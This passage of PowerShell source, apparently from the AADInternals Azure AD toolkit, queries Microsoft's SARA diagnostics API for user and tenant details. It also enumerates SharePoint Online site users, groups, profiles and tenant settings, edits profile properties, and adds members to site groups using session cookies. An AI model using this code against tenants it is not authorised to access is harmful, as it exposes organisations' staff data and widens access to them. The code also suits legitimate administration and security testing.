neutral, PublicKeyToken=31bf3856ad364e35
AnalyzerDesc : Attempting to get information about user "user@company.com".
StartTime : 2019-07-08T12:29:40.4911399Z
Duration : 00:00:51.1166849
CoreDuration : 00:00:51.1166849
WaitingDuration : 00:00:00
TotalChildrenDuration : 00:00:00
TotalWaitingDuration : 00:00:00
ParentId : 00000000-0000-0000-0000-000000000000
Value : true
ResultTitle : Extracting information about Office 365 user is completed.
ResultTitleId : Microsoft.Online.CSE.HRC.Analysis.Analyzers.ExchangeCmdlets.StringsGetUserComplete
UserMessage : Successfully got the user information for "user@company.com".
UserMessageId : Microsoft.Online.CSE.HRC.Analysis.Analyzers.ExchangeCmdlets.StringsGetUserSuccessDesc
AdminMessage :
SupportMessage :
IsMessageShown : False
GenericInfo :
Severity : 2
OverridesChildren : False
ProblemId : 00000000-0000-0000-0000-000000000000
TimeCached : 0001-01-01T00:00:00
SaraSymptomId : 00000000-0000-0000-0000-000000000000
SaraWorkflowRunId : 00000000-0000-0000-0000-000000000000
SaraSymptomRunId : 00000000-0000-0000-0000-000000000000
SaraSessionId : 00000000-0000-0000-0000-000000000000
Id : d5b4c239-7619-4367-9ccb-e9fe2fe01e23
DisplayName : Demo USer
FirstName : Demo
Guid : 67a93665-decb-4058-b42a-271d41c47c61
Id :
Identity : EURP185A001.PROD.OUTLOOK.COM/Microsoft Exchange Hosted Organizations/demoo365life4.onmicrosoft.com/AdminO365life
IsDirSynced : False
IsValid : True
LastName : User
MicrosoftOnlineServicesID : user@company.com
Name : DemoUser
NetID : 401320004BA7A415
RecipientType : UserMailbox
RecipientTypeDetails : UserMailbox
UserPrincipalName : user@company.com
WindowsEmailAddress : user@company.com
WindowsLiveID : user@company.com
IsHybridTenant : False
Forest : EURP185.PROD.OUTLOOK.COM
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$UserName,
[Parameter(Mandatory=$False)]
[ValidateSet('NotSet','HrcCloud','HrcCmd','Sara','MsftSupportModeSara','SaraCloud','QTest')]
[String]$ExecutionEnvironment='SaraCloud'
)
Begin
{
}
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://api.diagnostics.office.com"
if(!$UserName)
{
$userName = (Read-Accesstoken $AccessToken).upn
}
$userInformation = [ordered]@{"UserName" = $UserName}
#
# TenantUserInfo
#
Write-Verbose "TenantUserInfo"
$body=@{
"Symptom" = "TenantUserInfo"
"RequestTimeoutInMs" = 180000
"Parameters" = @(
@{
"Name" = "AffectedUser"
"Value" = $UserName #.Split("@")[1]
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "Symptom"
"Value" = "TenantUserInfo"
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "ScenarioSymptom"
"Value" = "TenantUserInfo"
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "UserPuid"
"Value" = ""
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "CorrelationId"
"Value" = ""
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "TargetService"
"Value" = "Exchange"
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "IsMsaUser"
"Value" = $False
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "MailboxClient"
"Value" = "Outlook"
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "TestHook"
"Value" = ""
"ComplianceClassification" = "Identifiable"
}
)
}
$response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck"
if($response.ProcessingStatus -eq "Succeeded")
{
$additionalInfo = $response.AdditionalInfo | ConvertFrom-Json
if($additionalInfo.IsSuccess -eq "true")
{
$item = ([xml]$additionalInfo.TenantUserInfo).TenantUserInfo.FirstChild
while($item)
{
if($item.name -eq "LicenseInformations")
{
$userInformation[$item.Name] = $item.InnerXml
}
else
{
$userInformation[$item.Name] = $item.InnerText
}
$item = $item.NextSibling
}
}
}
#
# CasMailbox
#
Write-Verbose "CasMailBox"
$body=@{
"Symptom" = "CasMailbox"
"RequestTimeoutInMs" = 180000
"Parameters" = @(
@{
"Name" = "AffectedUser"
"Value" = $UserName
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "MailboxClient"
"Value" = "Outlook"
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "Symptom"
"Value" = "CasMailbox"
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "ScenarioSymptom"
"Value" = "CasMailbox"
"ComplianceClassification" = "Identifiable"
}
)
}
$response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck"
if($response.ProcessingStatus -eq "Succeeded")
{
$userInformation["CASInfo"] = $response.MessageToUser
}
#
# GetUserDiagnostic
#
Write-Verbose "GetUserDiagnostic"
$body=@{
"UserUpn" = $parsedToken.upn
"UserSMTPEmail" = $parsedToken.upn
"Symptom" = "GetUserDiagnostic"
"RequestTimeoutInMs" = 180000
"Parameters" = @(
@{
"Name" = "AffectedUser"
"Value" = $UserName
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "Symptom"
"Value" = "GetUserDiagnostic"
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "ScenarioSymptom"
"Value" = "GetUser"
"ComplianceClassification" = "Identifiable"
}
)
}
$response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck"
if($response.ProcessingStatus -eq "Succeeded")
{
$additionalInfo = $response.AdditionalInfo | ConvertFrom-Json
if($additionalInfo.IsSuccess -eq "true")
{
$userInfo = [xml]$additionalInfo.UserInfo
$item = $userInfo.UserInfo.FirstChild
while($item)
{
$userInformation[$item.Name] = $item.InnerText
$item = $item.NextSibling
}
}
else
{
Write-Warning $additionalInfo.ErrorInfo.Split("`n")[0]
}
}
New-Object psobject -Property $userInformation
}
}
# Sep 23rd 2021
function Get-SARATenantInfo
{
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='AccessToken', Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$UserName,
[Parameter(Mandatory=$False)]
[ValidateSet('ExchangeHybridTenant','DirSyncCheck')]
[String[]]$Tests=@('ExchangeHybridTenant','DirSyncCheck')
)
Begin
{
}
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://api.diagnostics.office.com"
$parsedToken = Read-Accesstoken $AccessToken
if(!$UserName)
{
$userName = $parsedToken.upn
}
$tenantInfo = [ordered]@{
"Domain" = $UserName.Split("@")[1]
}
#
# ExchangeHybridTenant Check
#
if($Tests -contains "ExchangeHybridTenant")
{
Write-Verbose "ExchangeHybridTenant"
$body=@{
"Symptom" = "ExchangeHybridTenant"
"RequestTimeoutInMs" = 180000
"Parameters" = @(
@{
"Name" = "AffectedUser"
"Value" = $UserName
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "ExchangeHybridTenantClient"
"Value" = "OutlookFreeBusy"
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "Symptom"
"Value" = "ExchangeHybridTenant"
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "ScenarioSymptom"
"Value" = "ExchangeHybridTenant"
"ComplianceClassification" = "Identifiable"
}
)
}
$response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck"
if($response.AdditionalInfo)
{
$additionalInfo = ($response.AdditionalInfo | ConvertFrom-Json)
if($additionalInfo.Category -eq "S")
{
$hybridInfoXML = ([xml]($response.AdditionalInfo | ConvertFrom-Json).OrganizationRelationShipInfo).HybridInfo
$orgRels = @()
$onPrems = @()
foreach($rel in $hybridInfoXML.OrganizationRelationShips.OrganizationRelationShip)
{
$orgRels += New-Object psobject -Property @{
"FreeBusyAccessLevel" = $rel.FreeBusyAccessLevel
"FreeBusyEnabled" = $rel.FreeBusyEnabled
"Identity" = $rel.Identity
"IsValid" = $rel.IsValid
}
}
foreach($rel in $hybridInfoXML.OnPremOrganizationRelationShips.OnPremOrganizationRelationShip)
{
$onPrems += New-Object psobject -Property @{
"FreeBusyAccessLevel" = $rel.FreeBusyAccessLevel
"OrganizationGuid" = $rel.OrganizationGuid
"OrganizationName" = $rel.OrganizationName
"OrganizationRelationship" = $rel.OrganizationRelationship
}
}
$tenantInfo["IsHybrid"] = $additionalInfo.isHybrid
$tenantInfo["OrganizationRelationShips"] = $orgRels
$tenantInfo["OnPremOrganizationRelationShips"] = $onPrems
}
else
{
Write-Warning "ExchangeHybridTenant error $($additionalInfo.ScenarioResultName)"
}
}
}
#
# DirSyncCheck
#
if($Tests -contains "DirSyncCheck")
{
Write-Verbose "DirSyncCheck"
$body=@{
"Symptom" = "DirSyncCheck"
"RequestTimeoutInMs" = 180000
"Parameters" = @(
@{
"Name" = "TenantDomain"
"Value" = $UserName.Split("@")[1]
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "Symptom"
"Value" = "DirSyncCheck"
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "ScenarioSymptom"
"Value" = "DirSyncCheck"
"ComplianceClassification" = "Identifiable"
}
)
}
$response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck"
$tenantInfo["DirSync"] = $response.MessageToAdmin
}
# Return
New-Object psobject -Property $tenantInfo
}
}
# Sep 23rd 2021
function Get-SARAFreeBusyInformation
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$UserName,
[Parameter(Mandatory=$True)]
[String]$TargetUser
)
Begin
{
}
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://api.diagnostics.office.com"
if(!$UserName)
{
$userName = (Read-Accesstoken $AccessToken).upn
}
#
# FreeBusyTenantUserInfo
#
Write-Verbose "FreeBusyTenantUserInfo"
$body=@{
"Symptom" = "FreeBusyTenantUserInfo"
"RequestTimeoutInMs" = 180000
"Parameters" = @(
@{
"Name" = "AffectedUser"
"Value" = $UserName
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "Symptom"
"Value" = "FreeBusyTenantUserInfo"
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "ScenarioSymptom"
"Value" = "FreeBusyTenantUserInfo"
"ComplianceClassification" = "Identifiable"
}
@{
"Name" = "TargetSmtpAddress"
"Value" = $TargetUser
"ComplianceClassification" = "Identifiable"
}
)
}
$response = Call-AnalysisAPI -Body ($body | ConvertTo-Json) -AccessToken $AccessToken -Url "https://api.diagnostics.office.com/v1/cloudcheck"
if($response.ProcessingStatus -eq "Succeeded")
{
$additionalInfo = $response.AdditionalInfo | ConvertFrom-Json
if($additionalInfo.IsSuccess -eq "true")
{
return $response.MessageToUser
}
else
{
Write-Error $response.MessageToUser
}
}
}
}
+63
View File
@@ -0,0 +1,63 @@

# Jul 8th 2019
function Call-AnalysisAPI
{
[cmdletbinding()]
Param(
[ValidateSet('userInfo','tenantInfo','cloudCheck')]
[String]$Command,
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Body,
[Parameter(Mandatory=$False)]
[String]$Url="https://api.diagnostics.office.com/v1/analysis"
)
Process
{
$headers =@{
"Content-Type" = "application/json;odata=verbose"
"Accept" = "application/json; charset=utf-8"
"Authorization" = $(Create-AuthorizationHeader -AccessToken $AccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://api.diagnostics.office.com")
"x-ms-sara-api-version" = "schema-v1"
"User-Agent" = "saraclient"
}
try
{
$response = Invoke-RestMethod -UseBasicParsing -Uri $url -Method Post -Body $body -Headers $headers
}
catch
{
# Okay, something went wrong
return $null
}
if($url.EndsWith("/analysis"))
{
$sessionId = $response.SessionId
}
else
{
$sessionId = $response.RequestId
}
while($response.RequestStatus -ne "Completed" -and $response.RequestStatus -ne "Failed")
{
Write-Host "Retrieving information.."
sleep -Seconds "2"
$response = Invoke-RestMethod -UseBasicParsing -Uri "$url/?id=$sessionId" -Method Get -Headers $headers
}
# Return
$response
}
}
+656
View File
@@ -0,0 +1,656 @@
# Functions for SharePoint Online
# Jul 17th 2019
function Get-SPOSiteGroups
{
<#
.SYNOPSIS
Gets list of groups of SharePoint Online site
.DESCRIPTION
Gets list of groups of SharePoint Online site the user has access to.
.Parameter Site
Url of the SharePoint site
.Parameter AuthHeader
SharePoint Online authentication header
.Example
PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com
PS C:\>Get-AADIntSPOSiteGroups -Site https://company.sharepoint.com/sales -AuthHeader $auth
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Site,
[Parameter(Mandatory=$False)]
[String]$AuthHeader,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Check the site url
if($Site.EndsWith("/"))
{
$Site=$Site.Substring(0,$Site.Length-1)
}
$siteDomain=$Site.Split("/")[2]
if(![string]::IsNullOrEmpty($AuthHeader))
{
# Create a WebSession object
$siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain
}
else
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource $site -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc"
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
}
# Invoke the request
$response=Invoke-WebRequest -UseBasicParsing -Uri "$Site/_api/web/sitegroups" -Method Get -WebSession $siteSession -ErrorAction SilentlyContinue -Headers $headers
if($response.StatusCode -eq 200)
{
[xml]$response=$response.Content
$users=New-Object System.Collections.ArrayList
# Loop through the entries
foreach($entry in $response.feed.entry)
{
$attributes = @{}
$attributes["Id"] = $entry.content.properties.Id.'#Text'
$attributes["IsHiddenInUI"] = $entry.content.properties.IsHiddenInUI.'#Text' -eq "true"
$attributes["LoginName"] = $entry.content.properties.LoginName
$attributes["Title"] = $entry.content.properties.Title
$attributes["PrincipalType"] = $entry.content.properties.PrincipalType.'#Text'
$attributes["OwnerTitle"] = $entry.content.properties.OwnerTitle
$attributes["Description"] = $entry.content.properties.Description.'#Text'
$attributes["AllowMembersEditMembership"] = $entry.content.properties.AllowMembersEditMembership.'#Text' -eq "true"
$attributes["AllowRequestToJoinLeave"] = $entry.content.properties.AllowRequestToJoinLeave.'#Text' -eq "true"
$attributes["AutoAcceptRequestToJoinLeave"] = $entry.content.properties.AutoAcceptRequestToJoinLeave.'#Text' -eq "true"
$attributes["OnlyAllowMembersViewMembership"] = $entry.content.properties.OnlyAllowMembersViewMembership.'#Text' -eq "true"
$users+=New-Object PSObject -Property $attributes
}
# Return
return $users
}
}
}
# Jul 17th 2019
function Get-SPOSiteUsers
{
<#
.SYNOPSIS
Gets list of users of SharePoint Online site
.DESCRIPTION
Gets list of users of SharePoint Online site the user has access to.
.Parameter Site
Url of the SharePoint site
.Parameter AuthHeader
SharePoint Online authentication header
.Example
PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com
PS C:\>Get-AADIntSPOSiteUsers -Site https://company.sharepoint.com/sales -AuthHeader $auth
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Site,
[Parameter(Mandatory=$False)]
[String]$AuthHeader,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Check the site url
if($Site.EndsWith("/"))
{
$Site=$Site.Substring(0,$Site.Length-1)
}
$siteDomain=$Site.Split("/")[2]
if(![string]::IsNullOrEmpty($AuthHeader))
{
# Create a WebSession object
$siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain
}
else
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant.sharepoint.com/" -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc"
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
}
# Invoke the request
$response=Invoke-WebRequest -UseBasicParsing -Uri "$Site/_api/web/siteusers" -Method Get -WebSession $siteSession -Headers $headers -ErrorAction SilentlyContinue
if($response.StatusCode -eq 200)
{
[xml]$response=$response.Content
$users=New-Object System.Collections.ArrayList
# Loop through the entries
foreach($entry in $response.feed.entry)
{
$attributes = @{}
$attributes["Id"] = $entry.content.properties.Id.'#Text'
$attributes["IsHiddenInUI"] = $entry.content.properties.IsHiddenInUI.'#Text' -eq "true"
$attributes["LoginName"] = $entry.content.properties.LoginName
$attributes["Title"] = $entry.content.properties.Title
$attributes["PrincipalType"] = $entry.content.properties.PrincipalType.'#Text'
$attributes["Email"] = $entry.content.properties.Email
$attributes["IsEmailAuthenticationGuestUser"] = $entry.content.properties.IsEmailAuthenticationGuestUser.'#Text' -eq "true"
$attributes["IsShareByEmailGuestUser"] = $entry.content.properties.IsShareByEmailGuestUser.'#Text' -eq "true"
$attributes["IsSiteAdmin"] = $entry.content.properties.IsSiteAdmin.'#Text' -eq "true"
$attributes["NameId"] = $entry.content.properties.UserId.NameId
$attributes["NameIdIssuer"] = $entry.content.properties.UserId.NameIdIssuer
if($entry.content.properties.UserPrincipalName.GetType().Name -eq "String")
{
$attributes["UserPrincipalName"] = $entry.content.properties.UserPrincipalName
}
else
{
$attributes["UserPrincipalName"] = ""
}
$users+=New-Object PSObject -Property $attributes
}
# Return
return $users
}
}
}
# Jul 18th 2019
function Get-SPOUserProperties
{
<#
.SYNOPSIS
Gets properties of SharePoint Online user
.DESCRIPTION
Gets properties of SharePoint Online user using PeopleManager API
.Parameter Site
Url of the SharePoint site
.Parameter User
SharePoint Online authentication header
.Parameter AuthHeader
LoginName of the user in format "i:0i.t|00000003-0000-0ff1-ce00-000000000000|app@sharepoint"
.Example
PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com
PS C:\>Get-AADIntSPOUserProperties -Site https://company.sharepoint.com/sales -AuthHeader $auth -User "i:0i.t|00000003-0000-0ff1-ce00-000000000000|app@sharepoint"
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Site,
[Parameter(Mandatory=$True)]
[String]$User,
[Parameter(Mandatory=$True)]
[String]$AuthHeader
)
Process
{
# Check the site url
if($Site.EndsWith("/"))
{
$Site=$Site.Substring(0,$Site.Length-1)
}
$User=$User.Replace("#","%23")
$siteDomain=$Site.Split("/")[2]
# Create a WebSession object
$siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain
# Invoke the request
$response=Invoke-WebRequest -UseBasicParsing -Uri "$Site/_api/sp.userprofiles.peoplemanager/getpropertiesfor(@v)?@v='$User'" -Method Get -WebSession $siteSession -ErrorAction SilentlyContinue
if($response.StatusCode -eq 200)
{
[xml]$response=$response.Content
$entry=$response.entry
$attributes = [ordered]@{}
$attributes["Updated"] = $response.entry.Updated
$attributes["Author"] = $response.entry.Author.Name
$properties = $response.entry.content.properties
$attributes["AccountName"] = $properties.AccountName
$attributes["DirectReports"] = Create-ListFromCollection $properties.DirectReports
$attributes["DisplayName"] = $properties.DisplayName
$attributes["Email"] = $properties.Email
$attributes["ExtendedManagers"] = Create-ListFromCollection $properties.ExtendedManagers
$attributes["ExtendedReports"] = Create-ListFromCollection $properties.ExtendedReports
$attributes["IsFollowed"] = $properties.IsFollowed -eq "true"
#$attributes["LatestPost"] = $properties.LatestPost
$attributes["Peers"] = Create-ListFromCollection $properties.Peers
#$attributes["PersonalSiteHostUrl"] = $properties.PersonalSiteHostUrl
$attributes["PersonalUrl"] = [System.Net.WebUtility]::UrlDecode($properties.PersonalUrl)
$attributes["PictureUrl"] = [System.Net.WebUtility]::UrlDecode($properties.PictureUrl)
$attributes["UserUrl"] = [System.Net.WebUtility]::UrlDecode($properties.UserUrl)
$attributes["Title"] = $properties.Title
# Loop through the userprofile fields
foreach($up in $properties.UserProfileProperties.Element)
{
$name = $up.Key
$value = $up.Value
$attributes[$name] = $value
}
# Return
New-Object PSObject -Property $attributes
}
}
}
# Jun 10th 2020
function Get-SPOSiteUserProperties
{
<#
.SYNOPSIS
Gets the SPO user properties
.DESCRIPTION
Gets the SPO user properties
.Parameter Site
Url of the SharePoint site
.Parameter AuthHeader
SharePoint Online authentication header
.Parameter AccessToken
SharePoint Online Access Token
.Example
PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com
PS C:\>Get-AADIntSPOSiteGroups -Site https://company.sharepoint.com/sales -AuthHeader $auth
.Example
PS C:\>$at=Get-AADIntAccessTokenForSPO
PS C:\>Get-AADIntSPOSiteGroups -Site https://company.sharepoint.com/sales -AccessToken $at
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Site,
[Parameter(Mandatory=$True)]
[String]$UserName,
[Parameter(Mandatory=$False)]
[String]$AuthHeader,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Check the site url
if($Site.EndsWith("/"))
{
$Site=$Site.Substring(0,$Site.Length-1)
}
$siteDomain=$Site.Split("/")[2]
# Check the username format
if(!$UserName.StartsWith("i"))
{
$UserName="i:0%23.f|membership|$UserName"
}
if(![string]::IsNullOrEmpty($AuthHeader))
{
# Create a WebSession object
$siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain
}
else
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant.sharepoint.com/" -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc"
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
}
# Invoke the request
$response=Invoke-WebRequest -UseBasicParsing -Uri "$Site/_api/SP.UserProfiles.PeopleManager/GetPropertiesFor(accountName=@v)?@v='$UserName'" -Method Get -WebSession $siteSession -ErrorAction SilentlyContinue -Headers $headers
if($response.StatusCode -eq 200)
{
# Get the response
[xml]$response=$response.Content
# Create the attributes varialbe
$attributes=@{}
# Loop through the elements
foreach($element in $response.entry.content.properties.UserProfileProperties.element)
{
$key=$element.Key
$value=$element.Value
$attributes[$key] = $value
}
# Sort by the key
$attributes_sorted=[ordered]@{}
$entries = $attributes.GetEnumerator() | sort Key
foreach($entry in $entries)
{
$attributes_sorted[$entry.Name]=$entry.Value
}
# Return
return New-Object psobject -Property $attributes_sorted
}
}
}
# Jun 10th 2020
function Set-SPOSiteUserProperty
{
<#
.SYNOPSIS
Sets the SPO user property
.DESCRIPTION
Sets the SPO user property
.Parameter Site
Url of the SharePoint site
.Parameter AuthHeader
SharePoint Online authentication header
.Parameter AccessToken
SharePoint Online Access Token
.Parameter Property
Property name
.Parameter Value
Property value
.Example
PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com
PS C:\>Set-AADIntSPOUserProperty -Site https://company.sharepoint.com/sales -AuthHeader $auth -UserName user@company.com -Property "AboutMe" -Value "I'm a happy SPO user!"
.Example
PS C:\>$at=Get-AADIntAccessTokenForSPO
PS C:\>Set-AADIntSPOUserProperty -Site https://company.sharepoint.com/sales -AccessToken $at -UserName user@company.com -Property "AboutMe" -Value "I'm a happy SPO user!"
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Site,
[Parameter(Mandatory=$True)]
[String]$UserName,
[Parameter(Mandatory=$False)]
[String]$AuthHeader,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Property,
[Parameter(Mandatory=$False)]
[String]$Value
)
Process
{
# Get the digest
#$digest = Get-SPODigest -AccessToken $AccessToken -Cookie $Cookie -Site $Site
# Set the headers
$headers=@{
# "X-RequestDigest" = $digest
}
# Check the site url
if($Site.EndsWith("/"))
{
$Site=$Site.Substring(0,$Site.Length-1)
}
$siteDomain=$Site.Split("/")[2]
# Check the username format
if(!$UserName.StartsWith("i"))
{
$UserName="i:0#.f|membership|$UserName"
}
if(![string]::IsNullOrEmpty($AuthHeader))
{
# Create a WebSession object
$siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain
}
else
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant.sharepoint.com/" -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc"
$headers["Authorization"] = "Bearer $AccessToken"
}
# Create the body
$body=@{
"accountName" = "$UserName"
"propertyName" = $Property
"propertyValue" = $Value
}
# Invoke the request
$response=Invoke-WebRequest -UseBasicParsing -Uri "$Site/_api/SP.UserProfiles.PeopleManager/SetSingleValueProfileProperty" -Method Post -WebSession $siteSession -ErrorAction SilentlyContinue -Headers $headers -ContentType "application/json" -Body ($body | ConvertTo-Json)
if($response.StatusCode -eq 200)
{
# All good, nothing to return :)
}
}
}
function Get-SPOSettings
{
<#
.SYNOPSIS
Gets SharePoint Online settings
.DESCRIPTION
Gets SharePoint Online settings
.Parameter AccessToken
SharePoint Online Access Token
.Parameter Tenant
The tenant name of the organization, ie. company.onmicrosoft.com -> "company"
.Example
PS C:\>Get-AADIntAccessTokenForSPO -Admin -SaveToCache -Tenant company
PS C:\>Get-AADIntSPOSettings -Tenant Company
_ObjectType_ : Microsoft.Online.SharePoint.TenantAdministration.Tenant
_ObjectIdentity_ : 4b09819f-80c3-b000-9cfe-8c850fbea6d5|908bed80-a04a-4433-b4a0-883d9847d110:908c17b8-5ebe-450c-9073-15e52aa1739b
Tenant
AIBuilderEnabled : False
AIBuilderSiteInfoList : {}
AIBuilderSiteList : {}
AIBuilderSiteListFileName :
AllowCommentsTextOnEmailEnabled : True
AllowDownloadingNonWebViewableFiles : True
AllowedDomainListForSyncClient : {}
AllowEditing : True
AllowGuestUserShareToUsersNotInSiteCollection : False
AllowLimitedAccessOnUnmanagedDevices : False
AllowSelectSGsInODBListInTenant :
AnyoneLinkTrackUsers : False
ApplyAppEnforcedRestrictionsToAdHocRecipients : True
BccExternalSharingInvitations : False
...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Tenant
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$Tenant-admin.sharepoint.com/" -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc"
$body=@"
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="Javascript Library">
<Actions>
<ObjectPath Id="1" ObjectPathId="0" />
<Query Id="2" ObjectPathId="0">
<Query SelectAllProperties="true">
<Properties />
</Query>
</Query>
</Actions>
<ObjectPaths>
<Constructor Id="0" TypeId="{268004ae-ef6b-4e9b-8425-127220d84719}" />
</ObjectPaths>
</Request>
"@
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the request
$response=Invoke-RestMethod -UseBasicParsing -Uri "https://$Tenant-admin.sharepoint.com/_vti_bin/client.svc/ProcessQuery" -Method Post -Body $body -Headers $headers
if($response.count -gt 4)
{
$response[4]
}
}
}
# Oct 1st 2022 by Sapir Fed
function Set-SPOSiteMembers
{
<#
.SYNOPSIS
Add a member into a site (also adding the member to the correlated Azure AD group)
.DESCRIPTION
Add a member into a site (also adding the member to the correlated AzureAD group)
.Parameter Site
Url of the SharePoint site
.Parameter AuthHeader
SharePoint Online authentication header
.Parameter SiteName
Name of the specific site on SharePoint
.Parameter UserPrincipalName
UserPrincipalName of the AzureAD user you wish to add to the site
.Example
PS C:\>$auth=Get-AADIntSPOAuthenticationHeader -Site https://company.sharepoint.com
PS C:\>Set-AADIntSPOSiteMembers -Site https://company.sharepoint.com -AuthHeader $auth -SiteName CompanyWiki -UserPrincipalName user@company.com
User user@company.com was added to group CompanyWiki!
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Site,
[Parameter(Mandatory=$True)]
[String]$AuthHeader,
[Parameter(Mandatory=$True)]
[String]$SiteName,
[Parameter(Mandatory=$True)]
[String]$UserPrincipalName
)
Process
{
# Check the site url
if($Site.EndsWith("/"))
{
$Site=$Site.Substring(0,$Site.Length-1)
}
$siteDomain=$Site.Split("/")[2]
# Create a WebSession object
$siteSession = Create-WebSession -SetCookieHeader $AuthHeader -Domain $siteDomain
# Invoke the request tp get groupId and digest
$response=Invoke-WebRequest -UseBasicParsing -Uri "$($Site)/sites/$($siteName)?sw=auth" -Method GET -WebSession $siteSession -ErrorAction SilentlyContinue -Headers $headers
# Validate response
$baseContent = $response.BaseResponse
if($baseContent.StatusCode -eq "OK" -and $baseContent.ResponseUri -eq "$($Site)/sites/$($siteName)?sw=auth")
{
$requestContent = $response.Content
# Parse digest
$tempValue = $requestContent -match 'formDigestValue":"(.*?")'
$digestTemp = $Matches[1]
$digest = $digestTemp.Split('"')[0]
$newheaders=@{
"X-RequestDigest" = $digest
}
# Parse groupId
$tempValue = $requestContent -match 'groupId":"(.*?")'
$groupidTemp = $Matches[1]
$groupid = $groupidTemp.Split('"')[0]
# Invoke the request to add a member to the SharePoint site
$newresponse=Invoke-WebRequest -UseBasicParsing -Uri "$($Site)/sites/$($siteName)/_api/SP.Directory.DirectorySession/Group('$($groupid)')/Members/Add(objectId='00000000-0000-0000-0000-000000000000', principalName='$($UserPrincipalName)')" -Method POST -WebSession $siteSession -ErrorAction SilentlyContinue -Headers $newheaders -ContentType "application/json"
